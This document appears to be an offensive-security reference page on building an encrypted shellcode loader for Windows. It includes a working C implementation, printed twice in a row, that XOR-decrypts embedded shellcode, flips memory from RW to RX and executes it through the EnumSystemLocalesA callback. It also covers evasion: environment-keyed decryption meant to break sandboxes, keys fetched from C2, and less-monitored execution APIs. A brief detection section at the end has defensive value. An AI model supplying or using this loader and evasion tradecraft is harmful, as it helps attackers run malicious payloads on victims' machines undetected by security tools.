Encrypted Shellcode Loader
Overview
A shellcode loader’s job is simple: get encrypted bytes from somewhere safe, decrypt them, make them executable, and transfer control. The encryption step means nothing recognisable sits in the binary’s sections — no PE headers, no common shellcode preambles, nothing a static scanner can fingerprint.
The two variables that define a loader’s detection surface are where it gets the key (baked in,
derived, fetched over the network) and how it calls into the payload (direct function pointer,
CreateThread, an indirect callback). Neither dimension is a magic bypass; every path eventually
produces executable private memory, and that is what modern sensors watch.
W^X discipline (allocate RW, decrypt, then flip to RX) is now table stakes. A loader that asks
for PAGE_EXECUTE_READWRITE in a single call produces a finding in almost every EDR on the
market before the first instruction of the payload runs.
The call chain
- 1embed ciphertext blobShellcode is XOR- or AES-encrypted at build time and baked into the loader's .data or .rdata section.
- 2VirtualAlloc(MEM_COMMIT, PAGE_READWRITE)Allocate a RW region — never RWX at this point.
- 3decrypt in placeXOR key or AES key+IV is derived at runtime (CPUID, env hash, etc.) to resist static extraction.
- 4VirtualProtect(PAGE_EXECUTE_READ)Flip the allocation to RX. W^X discipline removes the loudest static indicator.
- 5CreateThread / callback trampolineExecute via CreateThread, EnumSystemLocalesA, or another API that accepts a function pointer.
Reference implementation
The XOR variant is the simplest and the easiest to reason about.
// shellcode baked in as ciphertext at build time
extern const unsigned char sc_enc[];
extern const size_t sc_enc_len;
static const unsigned char KEY[] = { 0xDE, 0xAD, 0xBE, 0xEF };
void run(void) {
// 1. allocate RW — no execute flag yet
unsigned char *buf = VirtualAlloc(NULL, sc_enc_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
// 2. decrypt in place
for (size_t i = 0; i < sc_enc_len; i++)
buf[i] = sc_enc[i] ^ KEY[i % sizeof KEY];
// 3. flip to RX — W gone before X arrives
DWORD old;
VirtualProtect(buf, sc_enc_len, PAGE_EXECUTE_READ, &old);
// 4. execute via indirect callback (less conspicuous than CreateThread)
EnumSystemLocalesA((LOCALE_ENUMPROCA)buf, 0);
}// shellcode baked in as ciphertext at build time
extern const unsigned char sc_enc[];
extern const size_t sc_enc_len;
static const unsigned char KEY[] = { 0xDE, 0xAD, 0xBE, 0xEF };
void run(void) {
// 1. allocate RW — no execute flag yet
unsigned char *buf = VirtualAlloc(NULL, sc_enc_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
// 2. decrypt in place
for (size_t i = 0; i < sc_enc_len; i++)
buf[i] = sc_enc[i] ^ KEY[i % sizeof KEY];
// 3. flip to RX — W gone before X arrives
DWORD old;
VirtualProtect(buf, sc_enc_len, PAGE_EXECUTE_READ, &old);
// 4. execute via indirect callback (less conspicuous than CreateThread)
EnumSystemLocalesA((LOCALE_ENUMPROCA)buf, 0);
}A static XOR key is recoverable from the binary in seconds. Key derivation — hashing the hostname, reading a beacon response, requiring a specific argument — meaningfully raises the analysis cost.
Key derivation patterns
| Approach | Analysis cost | Ops cost |
|---|---|---|
| Hardcoded key in binary | Trivial — strings or xorbrute | Zero |
| Key derived from hostname/domain | Forces domain-joined execution | Breaks sandbox |
| Key fetched from C2 first stage | Requires live C2 to decrypt | High |
| Key split: half binary, half env var | Breaks automated detonation | Medium |
Sandboxes typically run without a domain or specific environment variables. A loader that refuses to proceed unless it sees the right hostname or registry value is broken for the sandbox but functional in the target environment.
Execution primitives
Passing the buffer to CreateThread is the obvious path and the most monitored. Alternative
APIs that accept a function pointer:
EnumSystemLocalesA/EnumSystemLanguageGroupsA— legitimate Windows enumeration callbacksEnumChildWindows— takes an LPARAM you can put anything inQueueUserAPC— queues to any alertable thread; see APC InjectionRtlCreateUserThread— avoids thekernel32import but is equally visible at the kernel layer
None of these avoid ETW-TI. The kernel records every thread start regardless of which API created the thread.
Detection
The VirtualAlloc → VirtualProtect sequence on the same private region is the most reliable pattern. Production loaders that split the allocate-decrypt-protect steps across multiple frames or use indirect calls do not defeat this; they just add noise between the same two events.